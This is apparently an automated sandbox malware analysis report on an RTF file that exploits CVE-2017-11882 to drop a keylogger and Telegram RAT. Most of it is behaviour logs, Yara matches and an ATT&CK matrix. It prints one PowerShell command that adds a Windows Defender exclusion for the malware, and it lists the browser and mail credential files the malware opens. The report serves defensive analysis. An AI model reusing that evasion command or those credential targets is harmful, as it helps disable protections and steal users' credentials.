Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 1B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 2170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 5F10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 6F10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 7070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 8070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 87D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 97D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: A7D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 1C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 2300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Memory allocated: 450000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1966	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4808	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Window / User API: threadDelayed 9543	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3328	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe TID: 3492	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3704	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3708	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3632	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe TID: 3716	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe TID: 3748	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe TID: 3748	Thread sleep time: -9600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe TID: 3752	Thread sleep count: 9543 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe TID: 3752	Thread sleep count: 276 > 30	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3820	Thread sleep time: -180000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Code function: 8_2_001D9A4C LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,

8_2_001D9A4C

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, COVID19.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Memory written: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"	Jump to behavior

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Queries volume information: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Queries volume information: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe VolumeInformation	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\

Jump to behavior

Source: Yara match	File source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	33 Exploitation for Client Execution	Boot or Logon Initialization Scripts	111 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	14 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Install Root Certificate	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Email Collection	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	1 Input Capture	24 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	31 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	111 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
na.doc	45%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882
na.doc	100%	Avira	HEUR/Rtf.Malformed

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\CLLPdgxhnmwGf5Y[1].exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://reallyfreegeoip.org	0%	URL Reputation	safe
http://checkip.dyndns.com	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
